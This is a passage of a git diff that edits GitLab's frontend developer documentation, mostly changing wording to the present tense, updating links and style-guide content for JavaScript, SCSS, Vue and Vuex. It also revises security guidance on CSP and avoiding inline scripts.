More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports).
@@ -198,7 +392,7 @@ data is used for users with capped data plans.
General tips:
- Don't add new fonts.
-- Prefer font formats with better compression, e.g. WOFF2 is better than WOFF, which is better than TTF.
+- Prefer font formats with better compression, for example, WOFF2 is better than WOFF, which is better than TTF.
- Compress and minify assets wherever possible (For CSS/JS, Sprockets and webpack do this for us).
- If some functionality can reasonably be achieved without adding extra libraries, avoid them.
- Use page-specific JavaScript as described above to load libraries that are only needed on certain pages.
diff --git a/doc/development/fe_guide/principles.md b/doc/development/fe_guide/principles.md
index 75954a5f988..4952d023d90 100644
--- a/doc/development/fe_guide/principles.md
+++ b/doc/development/fe_guide/principles.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Principles
-These principles will ensure that your frontend contribution starts off in the right direction.
+These principles ensure that your frontend contribution starts off in the right direction.
## Discuss architecture before implementation
@@ -14,7 +14,7 @@ Discuss your architecture design in an issue before writing code. This helps dec
## Be consistent
-There are multiple ways of writing code to accomplish the same results. We should be as consistent as possible in how we write code across our codebases. This will make it easier for us to maintain our code across GitLab.
+There are multiple ways of writing code to accomplish the same results. We should be as consistent as possible in how we write code across our codebases. This makes it easier for us to maintain our code across GitLab.
## Improve code [iteratively](https://about.gitlab.com/handbook/values/#iteration)
diff --git a/doc/development/fe_guide/security.md b/doc/development/fe_guide/security.md
index a82c315032f..627c5f4d12f 100644
--- a/doc/development/fe_guide/security.md
+++ b/doc/development/fe_guide/security.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Security
@@ -31,7 +31,7 @@ GitLab's CSP is used for the following:
Some exceptions include:
-- Scripts from Google Analytics and Piwik if either is enabled.
+- Scripts from Google Analytics and Matomo if either is enabled.
- Connecting with GitHub, Bitbucket, GitLab.com, etc. to allow project importing.
- Connecting with Google, Twitter, GitHub, etc. to allow OAuth authentication.
@@ -66,14 +66,14 @@ Some resources on implementing Subresource Integrity:
## Including external resources
External fonts, CSS, and JavaScript should never be used with the exception of
-Google Analytics and Piwik - and only when the instance has enabled it. Assets
+Google Analytics and Matomo - and only when the instance has enabled it. Assets
should always be hosted and served locally from the GitLab instance. Embedded
resources via `iframes` should never be used except in certain circumstances
such as with reCAPTCHA, which cannot be used without an `iframe`.
## Avoiding inline scripts and styles
-In order to protect users from [XSS vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting), we will disable
+In order to protect users from [XSS vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting), we intend to disable
inline scripts in the future using Content Security Policy.
While inline scripts can be useful, they're also a security concern. If
diff --git a/doc/development/fe_guide/style/html.md b/doc/development/fe_guide/style/html.md
index 61a724cf3c7..7fedbc6ce0d 100644
--- a/doc/development/fe_guide/style/html.md
+++ b/doc/development/fe_guide/style/html.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# HTML style guide
diff --git a/doc/development/fe_guide/style/index.md b/doc/development/fe_guide/style/index.md
index 0d73b16b5d3..89a3d874184 100644
--- a/doc/development/fe_guide/style/index.md
+++ b/doc/development/fe_guide/style/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab development style guides
diff --git a/doc/development/fe_guide/style/javascript.md b/doc/development/fe_guide/style/javascript.md
index b8e7429eb2c..8e3538e891d 100644
--- a/doc/development/fe_guide/style/javascript.md
+++ b/doc/development/fe_guide/style/javascript.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/development/fe_guide/style_guide_js.html'
---
@@ -13,13 +13,13 @@ linter to manage most of our JavaScript style guidelines.
In addition to the style guidelines set by Airbnb, we also have a few specific rules
listed below.
-TIP: **Tip:**
+NOTE:
You can run eslint locally by running `yarn eslint`
## Avoid forEach
Avoid forEach when mutating data. Use `map`, `reduce` or `filter` instead of `forEach`
-when mutating data. This will minimize mutations in functions,
+when mutating data. This minimizes mutations in functions,
which aligns with [Airbnb's style guide](https://github.com/airbnb/javascript#testing--for-real).
```javascript
@@ -237,7 +237,7 @@ document.addEventListener("DOMContentLoaded", function(event) {
### Avoid side effects in constructors
Avoid making asynchronous calls, API requests or DOM manipulations in the `constructor`.
-Move them into separate functions instead. This will make tests easier to write and
+Move them into separate functions instead. This makes tests easier to write and
avoids violating the [Single Responsibility Principle](https://en.wikipedia.org/wiki/Single_responsibility_principle).
```javascript
diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md
index c6ee1e64a80..a4cae12c4f3 100644
--- a/doc/development/fe_guide/style/scss.md
+++ b/doc/development/fe_guide/style/scss.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/development/fe_guide/style_guide_scss.html'
---
@@ -12,7 +12,7 @@ easy to maintain, and performant for the end-user.
## Rules
-Our CSS is a mixture of current and legacy approaches. That means sometimes it may be difficult to follow this guide to the letter; it means you will definitely run into exceptions, where following the guide is difficult to impossible without outsized effort. In those cases, you may work with your reviewers and maintainers to identify an approach that does not fit these rules. Please endeavor to limit these cases.
+Our CSS is a mixture of current and legacy approaches. That means sometimes it may be difficult to follow this guide to the letter; it means you are likely to run into exceptions, where following the guide is difficult to impossible without outsized effort. In those cases, you may work with your reviewers and maintainers to identify an approach that does not fit these rules. Please endeavor to limit these cases.
### Utility Classes
@@ -26,7 +26,7 @@ Classes in [`utilities.scss`](https://gitlab.com/gitlab-org/gitlab/blob/master/a
Avoid [Bootstrap's Utility Classes](https://getbootstrap.com/docs/4.3/utilities/).
-NOTE: **Note:**
+NOTE:
While migrating [Bootstrap's Utility Classes](https://getbootstrap.com/docs/4.3/utilities/)
to the [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/doc/css.md#utilities)
utility classes, note both the classes for margin and padding differ. The size scale used at
@@ -79,10 +79,8 @@ CSS classes should use the `lowercase-hyphenated` format rather than
```
Class names should be used instead of tag name selectors.
-Using tag name selectors are discouraged in CSS because
-they can affect unintended elements in the hierarchy.
-Also, since they are not meaningful names, they do not
-add meaning to the code.
+Using tag name selectors is discouraged because they can affect
+unintended elements in the hierarchy.
```scss
// Bad
@@ -94,136 +92,23 @@ ul {
.class-name {
color: #fff;
}
-```
-
-### Formatting
-
-You should always use a space before a brace, braces should be on the same
-line, each property should each get its own line, and there should be a space
-between the property and its value.
-
-```scss
-// Bad
-.container-item {
- width: 100px; height: 100px;
- margin-top: 0;
-}
-
-// Bad
-.container-item
-{
- width: 100px;
- height: 100px;
- margin-top: 0;
-}
-
-// Bad
-.container-item{
- width:100px;
- height:100px;
- margin-top:0;
-}
-
-// Good
-.container-item {
- width: 100px;
- height: 100px;
- margin-top: 0;
-}
-```
-
-Note that there is an exception for single-line rulesets, although these are
-not typically recommended.
-
-```scss
-p { margin: 0; padding: 0; }
-```
-
-### Colors
-
-HEX (hexadecimal) colors should use shorthand where possible, and should use
-lower case letters to differentiate between letters and numbers, e.g. `#E3E3E3`
-vs. `#e3e3e3`.
-
-```scss
-// Bad
-p {
- color: #ffffff;
-}
-
-// Bad
-p {
- color: #FFFFFF;
-}
-
-// Good
-p {
- color: #fff;
-}
-```
-
-### Indentation
-
-Indentation should always use two spaces for each indentation level.
-
-```scss
-// Bad, four spaces
-p {
- color: #f00;
-}
-
-// Good
-p {
- color: #f00;
-}
-```
-
-### Semicolons
-
-Always include semicolons after every property. When the stylesheets are
-minified, the semicolons will be removed automatically.
-
-```scss
-// Bad
-.container-item {
- width: 100px;
- height: 100px
-}
-
-// Good
-.container-item {
- width: 100px;
- height: 100px;
-}
-```
-### Shorthand
+// Best
+// prefer an existing utility class over adding existing styles
+```0
-The shorthand form should be used for properties that support it.
+Class names are also preferable to IDs. Rules that use IDs
+are not-reusable, as there can only be one affected element on
+the page.
```scss
// Bad
-margin: 10px 15px 10px 15px;
-padding: 10px 10px 10px 10px;
-
-// Good
-margin: 10px 15px;
-padding: 10px;
-```
-
-### Zero Units
-
-Omit length units on zero values, they're unnecessary and not including them
-is slightly more performant.
-
-```scss
-// Bad
-.item-with-padding {
- padding: 0px;
+#my-element {
+ padding: 0;
}
// Good
-.item-with-padding {
+.my-element {
padding: 0;
}
```
@@ -234,27 +119,11 @@ Do not use any selector prefixed with `js-` for styling purposes. These
selectors are intended for use only with JavaScript to allow for removal or
renaming without breaking styling.
-### IDs
-
-Don't use ID selectors in CSS.
-
-```scss
-// Bad
-#my-element {
- padding: 0;
-}
-
-// Good
-.my-element {
- padding: 0;
-}
-```
-
### Variables
Before adding a new variable for a color or a size, guarantee:
-- There isn't already one
+- There isn't an existing one.
- There isn't a similar one we can use instead.
## Linting
@@ -263,8 +132,8 @@ We use [SCSS Lint](https://github.com/sds/scss-lint) to check for style guide co
ruleset in `.scss-lint.yml`, which is located in the home directory of the
project.
-To check if any warnings will be produced by your changes, you can run `rake
-scss_lint` in the GitLab directory. SCSS Lint will also run in GitLab CI/CD to
+To check if any warnings are produced by your changes, run `rake
+scss_lint` in the GitLab directory. SCSS Lint also runs in GitLab CI/CD to
catch any warnings.
If the Rake task is throwing warnings you don't understand, SCSS Lint's
@@ -278,23 +147,4 @@ the SCSS style guide, you can use [CSSComb](https://github.com/csscomb/csscomb.j
CSSComb globally (system-wide). Run it in the GitLab directory with
`csscomb app/assets/stylesheets` to automatically fix issues with CSS/SCSS.
-Note that this won't fix every problem, but it should fix a majority.
-
-### Ignoring issues
-
-If you want a line or set of lines to be ignored by the linter, you can use
-`// scss-lint:disable RuleName` ([more information](https://github.com/sds/scss-lint#disabling-linters-via-source)):
-
-```scss
-// This lint rule is disabled because it is supported only in Chrome/Safari
-// scss-lint:disable PropertySpelling
-body {
- text-decoration-skip: ink;
-}
-// scss-lint:enable PropertySpelling
-```
-
-Make sure a comment is added on the line above the `disable` rule, otherwise the
-linter will throw a warning. `DisableLinterReason` is enabled to make sure the
-style guide isn't being ignored, and to communicate to others why the style
-guide is ignored in this instance.
+Note that this doesn't fix every problem, but it should fix a majority.
diff --git a/doc/development/fe_guide/style/vue.md b/doc/development/fe_guide/style/vue.md
index 6b6ca9a6c71..b85c1b1de35 100644
--- a/doc/development/fe_guide/style/vue.md
+++ b/doc/development/fe_guide/style/vue.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vue.js style guide
@@ -98,7 +98,7 @@ Please check this [rules](https://github.com/vuejs/eslint-plugin-vue#bulb-rules)
We discourage the use of the spread operator in this specific case in
order to keep our codebase explicit, discoverable, and searchable.
- This applies in any place where we'll benefit from the above, such as
+ This applies in any place where we would benefit from the above, such as
when [initializing Vuex state](../vuex.md#why-not-just-spread-the-initial-state).
The pattern above also enables us to easily parse non scalar values during
instantiation.
@@ -667,7 +667,7 @@ The goal of this accord is to make sure we are all on the same page.
1. If you need to grab data from the DOM, you may query the DOM 1 time while bootstrapping your application to grab data attributes using `dataset`. You can do this without jQuery.
1. You may use a jQuery dependency in Vue.js following [this example from the docs](https://vuejs.org/v2/examples/select2.html).
1. If an outside jQuery Event needs to be listen to inside the Vue application, you may use jQuery event listeners.
- 1. We will avoid adding new jQuery events when they are not required. Instead of adding new jQuery events take a look at [different methods to do the same task](https://vuejs.org/v2/api/#vm-emit).
+ 1. We avoid adding new jQuery events when they are not required. Instead of adding new jQuery events take a look at [different methods to do the same task](https://vuejs.org/v2/api/#vm-emit).
1. You may query the `window` object one time, while bootstrapping your application for application specific data (e.g. `scrollTo` is ok to access anytime). Do this access during the bootstrapping of your application.
1. You may have a temporary but immediate need to create technical debt by writing code that does not follow our standards, to be refactored later. Maintainers need to be ok with the tech debt in the first place. An issue should be created for that tech debt to evaluate it further and discuss. In the coming months you should fix that tech debt, with its priority to be determined by maintainers.
1. When creating tech debt you must write the tests for that code before hand and those tests may not be rewritten. e.g. jQuery tests rewritten to Vue tests.
diff --git a/doc/development/fe_guide/style_guide_js.md b/doc/development/fe_guide/style_guide_js.md
index f3fa80325ef..73a5bea189d 100644
--- a/doc/development/fe_guide/style_guide_js.md
+++ b/doc/development/fe_guide/style_guide_js.md
@@ -3,3 +3,6 @@ redirect_to: 'style/javascript.md'
---
This document was moved to [another location](style/javascript.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/style_guide_scss.md b/doc/development/fe_guide/style_guide_scss.md
index 2b4e6427a18..eaa6d33fb43 100644
--- a/doc/development/fe_guide/style_guide_scss.md
+++ b/doc/development/fe_guide/style_guide_scss.md
@@ -3,3 +3,6 @@ redirect_to: 'style/scss.md'
---
This document was moved to [another location](style/scss.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/testing.md b/doc/development/fe_guide/testing.md
index b23e37d1eef..457d15235ae 100644
--- a/doc/development/fe_guide/testing.md
+++ b/doc/development/fe_guide/testing.md
@@ -3,3 +3,6 @@ redirect_to: '../testing_guide/frontend_testing.md'
---
This document was moved to [another location](../testing_guide/frontend_testing.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/tooling.md b/doc/development/fe_guide/tooling.md
index 809e05ea61f..d33022b9355 100644
--- a/doc/development/fe_guide/tooling.md
+++ b/doc/development/fe_guide/tooling.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Tooling
@@ -14,21 +14,21 @@ We use ESLint to encapsulate and enforce frontend code standards. Our configurat
This section describes yarn scripts that are available to validate and apply automatic fixes to files using ESLint.
-To check all currently staged files (based on `git diff`) with ESLint, run the following script:
+To check all staged files (based on `git diff`) with ESLint, run the following script:
```shell
yarn eslint-staged
```
-A list of problems found will be logged to the console.
+A list of problems found are logged to the console.
-To apply automatic ESLint fixes to all currently staged files (based on `git diff`), run the following script:
+To apply automatic ESLint fixes to all staged files (based on `git diff`), run the following script:
```shell
yarn eslint-staged-fix
```
-If manual changes are required, a list of changes will be sent to the console.
+If manual changes are required, a list of changes are sent to the console.
To check **all** files in the repository with ESLint, run the following script:
@@ -36,7 +36,7 @@ To check **all** files in the repository with ESLint, run the following script:
yarn eslint
```
-A list of problems found will be logged to the console.
+A list of problems found are logged to the console.
To apply automatic ESLint fixes to **all** files in the repository, run the following script:
@@ -44,9 +44,9 @@ To apply automatic ESLint fixes to **all** files in the repository, run the foll
yarn eslint-fix
```
-If manual changes are required, a list of changes will be sent to the console.
+If manual changes are required, a list of changes are sent to the console.
-CAUTION: **Caution:**
+WARNING:
Limit use to global rule updates. Otherwise, the changes can lead to huge Merge Requests.
### Disabling ESLint in new files
@@ -156,13 +156,13 @@ The source of these Yarn scripts can be found in `/scripts/frontend/prettier.js`
node ./scripts/frontend/prettier.js check-all ./vendor/
```
-This will go over all files in a specific folder check it.
+This iterates over all files in a specific folder, and checks them.
```shell
node ./scripts/frontend/prettier.js save-all ./vendor/
```
-This will go over all files in a specific folder and save it.
+This iterates over all files in a specific folder and saves them.
### VSCode Settings
diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md
index 77bdadfe8da..41fbd128631 100644
--- a/doc/development/fe_guide/vue.md
+++ b/doc/development/fe_guide/vue.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vue
@@ -62,11 +62,11 @@ Be sure to read about [page-specific JavaScript](performance.md#page-specific-ja
While mounting a Vue application, you might need to provide data from Rails to JavaScript.
To do that, you can use the `data` attributes in the HTML element and query them while mounting the application.
-You should only do this while initializing the application, because the mounted element will be replaced with Vue-generated DOM.
+You should only do this while initializing the application, because the mounted element is replaced with a Vue-generated DOM.
The advantage of providing data from the DOM to the Vue instance through `props` in the `render` function
instead of querying the DOM inside the main Vue component is avoiding the need to create a fixture or an HTML element in the unit test,
-which will make the tests easier.
+which makes the tests easier.
See the following example, also, please refer to our [Vue style guide](style/vue.md#basic-rules) for additional
information on why we explicitly declare the data being passed into the Vue app;
@@ -91,15 +91,15 @@ return new Vue({
},
});
},
-}
+});
```
> When adding an `id` attribute to mount a Vue application, please make sure this `id` is unique across the codebase
#### Accessing the `gl` object
-When we need to query the `gl` object for data that won't change during the application's life cycle, we should do it in the same place where we query the DOM.
-By following this practice, we can avoid the need to mock the `gl` object, which will make tests easier.
+When we need to query the `gl` object for data that doesn't change during the application's life cycle, we should do it in the same place where we query the DOM.
+By following this practice, we can avoid the need to mock the `gl` object, which makes tests easier.
It should be done while initializing our Vue instance, and the data should be provided as `props` to the main component:
```javascript
@@ -162,12 +162,12 @@ This approach has a few benefits:
### A folder for Components
-This folder holds all components that are specific of this new feature.
-If you need to use or create a component that will probably be used somewhere
+This folder holds all components that are specific to this new feature.
+If you need to use or create a component that is likely to be used somewhere
else, please refer to `vue_shared/components`.
A good rule of thumb to know when you should create a component is to think if
-it will be reusable elsewhere.
+it could be reusable elsewhere.
For example, tables are used in a quite amount of places across GitLab, a table
would be a good fit for a component. On the other hand, a table cell used only
@@ -192,7 +192,7 @@ Check this [page](vuex.md) for more details.
In the [Vue documentation](https://vuejs.org/v2/api/#Options-Data) the Data function/object is defined as follows:
-> The data object for the Vue instance. Vue will recursively convert its properties into getter/setters to make it “reactiveâ€. The object must be plain: native objects such as browser API objects and prototype properties are ignored. A rule of thumb is that data should just be data - it is not recommended to observe objects with their own stateful behavior.
+> The data object for the Vue instance. Vue recursively converts its properties into getter/setters to make it “reactiveâ€. The object must be plain: native objects such as browser API objects and prototype properties are ignored. A rule of thumb is that data should just be data - it is not recommended to observe objects with their own stateful behavior.
Based on the Vue guidance:
diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md
index 46437f39dbe..9d2f3b27968 100644
--- a/doc/development/fe_guide/vue3_migration.md
+++ b/doc/development/fe_guide/vue3_migration.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migration to Vue 3
@@ -82,7 +82,7 @@ const FunctionalComp = (props, slots) => {
}
```
-It is not recommended to replace stateful components with functional components unless you absolutely need a performance improvement right now. In Vue 3, performance gains for functional components will be negligible.
+It is not recommended to replace stateful components with functional components unless you absolutely need a performance improvement right now. In Vue 3, performance gains for functional components are negligible.
## Old slots syntax with `slot` attribute
diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md
index 7765ba04d40..1d83335291a 100644
--- a/doc/development/fe_guide/vuex.md
+++ b/doc/development/fe_guide/vuex.md
@@ -1,19 +1,19 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vuex
-When there's a clear benefit to separating state management from components (e.g. due to state complexity) we recommend using [Vuex](https://vuex.vuejs.org) over any other Flux pattern. Otherwise, feel free to manage state within the components.
+When there's a clear benefit to separating state management from components (for example, due to state complexity) we recommend using [Vuex](https://vuex.vuejs.org) over any other Flux pattern. Otherwise, feel free to manage state in the components.
Vuex should be strongly considered when:
-- You expect multiple parts of the application to react to state changes
-- There's a need to share data between multiple components
-- There are complex interactions with Backend, e.g. multiple API calls
-- The app involves interacting with backend via both traditional REST API and GraphQL (especially when moving the REST API over to GraphQL is a pending backend task)
+- You expect multiple parts of the application to react to state changes.
+- There's a need to share data between multiple components.
+- There are complex interactions with Backend, for example, multiple API calls.
+- The app involves interacting with backend via both traditional REST API and GraphQL (especially when moving the REST API over to GraphQL is a pending backend task).
The information included in this page is explained in more detail in the
official [Vuex documentation](https://vuex.vuejs.org).
@@ -22,7 +22,7 @@ official [Vuex documentation](https://vuex.vuejs.org).
Vuex is composed of State, Getters, Mutations, Actions, and Modules.
-When a user clicks on an action, we need to `dispatch` it. This action will `commit` a mutation that will change the state. The action itself will not update the state; only a mutation should update the state.
+When a user clicks on an action, we need to `dispatch` it. This action `commits` a mutation that changes the state. The action itself does not update the state; only a mutation should update the state.
## File structure
@@ -92,7 +92,7 @@ An action is a payload of information to send data from our application to our s
An action is usually composed by a `type` and a `payload` and they describe what happened. Unlike [mutations](#mutationsjs), actions can contain asynchronous operations - that's why we always need to handle asynchronous logic in actions.
-In this file, we will write the actions that will call mutations for handling a list of users:
+In this file, we write the actions that call mutations for handling a list of users:
```javascript
import * as types from './mutation_types';
@@ -163,15 +163,15 @@ Instead of creating an mutation to toggle the loading state, we should:
- `PUT`: `updateSomething`
- `DELETE`: `deleteSomething`
-As a result, we can dispatch the `fetchNamespace` action from the component and it will be responsible to commit `REQUEST_NAMESPACE`, `RECEIVE_NAMESPACE_SUCCESS` and `RECEIVE_NAMESPACE_ERROR` mutations.
+As a result, we can dispatch the `fetchNamespace` action from the component and it is responsible to commit `REQUEST_NAMESPACE`, `RECEIVE_NAMESPACE_SUCCESS` and `RECEIVE_NAMESPACE_ERROR` mutations.
-> Previously, we were dispatching actions from the `fetchNamespace` action instead of committing mutation, so please don't be confused if you find a different pattern in the older parts of the codebase. However, we encourage leveraging a new pattern whenever you write new Vuex stores
+> Previously, we were dispatching actions from the `fetchNamespace` action instead of committing mutation, so please don't be confused if you find a different pattern in the older parts of the codebase. However, we encourage leveraging a new pattern whenever you write new Vuex stores.
By following this pattern we guarantee:
-1. All applications follow the same pattern, making it easier for anyone to maintain the code
-1. All data in the application follows the same lifecycle pattern
-1. Unit tests are easier
+1. All applications follow the same pattern, making it easier for anyone to maintain the code.
+1. All data in the application follows the same lifecycle pattern.
+1. Unit tests are easier.
#### Updating complex state
@@ -215,7 +215,7 @@ While this approach works it has several dependencies:
- Correct selection of `item` in the component/action.
- The `item` property is already declared in the `closed` state.
- A new `confidential` property would not be reactive.
-- Noting that `item` is referenced by `items`
+- Noting that `item` is referenced by `items`.
A mutation written like this is harder to maintain and more error prone. We should rather write a mutation like this:
@@ -245,7 +245,7 @@ A mutation written like this is easier to maintain. In addition, we avoid errors
### `getters.js`
Sometimes we may need to get derived state based on store state, like filtering for a specific prop.
-Using a getter will also cache the result based on dependencies due to [how computed props work](https://vuejs.org/v2/guide/computed.html#Computed-Caching-vs-Methods)
+Using a getter also caches the result based on dependencies due to [how computed props work](https://vuejs.org/v2/guide/computed.html#Computed-Caching-vs-Methods)
This can be done through the `getters`:
```javascript
@@ -272,7 +272,10 @@ import { mapGetters } from 'vuex';
### `mutation_types.js`
From [vuex mutations docs](https://vuex.vuejs.org/guide/mutations.html):
-> It is a commonly seen pattern to use constants for mutation types in various Flux implementations. This allows the code to take advantage of tooling like linters, and putting all constants in a single file allows your collaborators to get an at-a-glance view of what mutations are possible in the entire application.
+> It is a commonly seen pattern to use constants for mutation types in various Flux implementations.
+> This allows the code to take advantage of tooling like linters, and putting all constants in a
+> single file allows your collaborators to get an at-a-glance view of what mutations are possible
+> in the entire application.
```javascript
export const ADD_USER = 'ADD_USER';
@@ -346,7 +349,7 @@ export default ({
#### Why not just ...spread the initial state?
-The astute reader will see an opportunity to cut out a few lines of code from
+The astute reader sees an opportunity to cut out a few lines of code from
the example above:
```javascript
@@ -359,17 +362,17 @@ export default initialState => ({
});
```
-We've made the conscious decision to avoid this pattern to aid in the
-discoverability and searchability of our frontend codebase. The same applies
+We made the conscious decision to avoid this pattern to improve the ability to
+discover and search our frontend codebase. The same applies
when [providing data to a Vue app](vue.md#providing-data-from-haml-to-javascript). The reasoning for this is described in [this
discussion](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/56#note_302514865):
> Consider a `someStateKey` is being used in the store state. You _may_ not be
> able to grep for it directly if it was provided only by `el.dataset`. Instead,
-> you'd have to grep for `some_state_key`, since it could have come from a rails
+> you'd have to grep for `some_state_key`, because it could have come from a Rails
> template. The reverse is also true: if you're looking at a rails template, you
> might wonder what uses `some_state_key`, but you'd _have_ to grep for
-> `someStateKey`
+> `someStateKey`.
### Communicating with the Store
@@ -426,12 +429,12 @@ export default {
#### Testing Vuex concerns
-Refer to [vuex docs](https://vuex.vuejs.org/guide/testing.html) regarding testing Actions, Getters and Mutations.
+Refer to [Vuex docs](https://vuex.vuejs.org/guide/testing.html) regarding testing Actions, Getters and Mutations.
#### Testing components that need a store
-Smaller components might use `store` properties to access the data.
-In order to write unit tests for those components, we need to include the store and provide the correct state:
+Smaller components might use `store` properties to access the data. To write unit tests for those
+components, we need to include the store and provide the correct state:
```javascript
//component_spec.js
@@ -482,8 +485,9 @@ describe('component', () => {
### Two way data binding
-When storing form data in Vuex, it is sometimes necessary to update the value stored. The store should never be mutated directly, and an action should be used instead.
-In order to still use `v-model` in our code, we need to create computed properties in this form:
+When storing form data in Vuex, it is sometimes necessary to update the value stored. The store
+should never be mutated directly, and an action should be used instead.
+To use `v-model` in our code, we need to create computed properties in this form:
```javascript
export default {
@@ -521,7 +525,7 @@ export default {
};
```
-Adding a few of these properties becomes cumbersome, and makes the code more repetitive with more tests to write. To simplify this there is a helper in `~/vuex_shared/bindings.js`
+Adding a few of these properties becomes cumbersome, and makes the code more repetitive with more tests to write. To simplify this there is a helper in `~/vuex_shared/bindings.js`.
The helper can be used like so:
@@ -568,4 +572,4 @@ export default {
}
```
-`mapComputed` will then generate the appropriate computed properties that get the data from the store and dispatch the correct action when updated.
+`mapComputed` then generates the appropriate computed properties that get the data from the store and dispatch the correct action when updated.
diff --git a/doc/development/feature_categorization/index.md b/doc/development/feature_categorization/index.md
index 66ed2952250..dd69d7bcf80 100644
--- a/doc/development/feature_categorization/index.md
+++ b/doc/development/feature_categorization/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Infrastructure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature Categorization
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Each Sidekiq worker, controller action, or API endpoint
must declare a `feature_category` attribute. This attribute maps each
of these to a [feature
-category](https://about.gitlab.com/handbook/product/product-categories/). This
+category](https://about.gitlab.com/handbook/product/categories/). This
is done for error budgeting, alert routing, and team attribution.
The list of feature categories can be found in the file `config/feature_categories.yml`.
@@ -121,6 +121,11 @@ the actions used in configuration still exist as routes.
## API endpoints
+The [GraphQL API](../../api/graphql/index.md) is currently categorized
+as `not_owned`. For now, no extra specification is needed. For more
+information, see
+[`gitlab-com/gl-infra/scalability#583`](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/583/).
+
Grape API endpoints can use the `feature_category` class method, like
[Rails controllers](#rails-controllers) do:
diff --git a/doc/development/feature_flags.md b/doc/development/feature_flags.md
index cff88388ba0..7456e8df8d9 100644
--- a/doc/development/feature_flags.md
+++ b/doc/development/feature_flags.md
@@ -3,3 +3,6 @@ redirect_to: 'feature_flags/index.md'
---
This document was moved to [another location](feature_flags/index.md).
+
